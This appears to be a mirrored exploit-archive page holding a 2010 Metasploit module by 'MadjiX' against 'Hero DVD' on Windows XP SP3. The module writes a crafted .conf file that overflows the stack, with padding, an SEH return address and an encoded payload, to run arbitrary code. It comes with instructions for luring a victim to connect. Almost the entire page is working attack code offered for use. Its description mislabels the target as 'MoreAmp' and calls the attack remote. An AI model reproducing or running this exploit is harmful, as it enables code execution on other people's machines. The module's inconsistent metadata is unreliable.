<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Hero DVD Buffer Overflow Exploit (meta)</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=======================================
Hero DVD Buffer Overflow Exploit (meta)
=======================================

##################################################################
# _ #
# .—–.–.–.–.—-.—-.-| |___ #
# | _ | | | | | -__| _ | #
# | __|________|__|__|_____|_____| #
# |__| By MadjiX #
# Sec4ever.com #
##################################################################
# Note: Use Backtrack! place httpd.conf in /etc/apache2/ and start apache
# Have Someone Connect to your Server /sploit
require ‘msf/core’

class Metasploit3 &lt; Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
‘Name’ =&gt; ‘Hero DVD Remote Buffer Overflow Exploit’,
‘Description’ =&gt; %q{
This module exploits a stack overflow in 3.0.8 MoreAmp Beta
By creating a specially crafted .conf file, an an attacker may be able
to execute arbitrary code.
},
‘License’ =&gt; MSF_LICENSE,
‘Author’ =&gt; ‘MadjiX &lt;Dz8@HotmaiL[DoT]CoM&gt;’,
‘Version’ =&gt; ‘Version 1′,
‘References’ =&gt;
[
[ 'OSVDB', 'N/A' ],
[ 'URL', 'http://www.exploit-db.com/exploits/14257/' ],
],
‘DefaultOptions’ =&gt;
{
‘EXITFUNC’ =&gt; ‘process’,
},
‘Payload’ =&gt;
{
‘Space’ =&gt; 750,
‘BadChars’ =&gt; &quot;x00×20x0ax0d&quot;,
‘StackAdjustment’ =&gt; -3500,
},
‘Platform’ =&gt; ‘win’,
‘Targets’ =&gt;
[
[ 'Windows XP SP3', { 'Ret' =&gt; 0x58324879} ], # 0×58324879 from msg723.acm
],
‘Privileged’ =&gt; false,
‘DisclosureDate’ =&gt; ‘19-07-2010′,
‘DefaultTarget’ =&gt; 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.conf']),
], self.class)
end

def exploit

sploit = &quot;Redirect permanent /sploit http://&quot;
sploit &lt;&lt; rand_text_alphanumeric(128)
sploit &lt;&lt; [target.ret].pack(‘V’)
sploit &lt;&lt; &quot;B&quot; * 24
sploit &lt;&lt; payload.encoded

maffile = sploit
print_status(&quot;Creating ‘#{datastore['FILENAME']}’ file …&quot;)
file_create(maffile)

end

end

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-19]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13395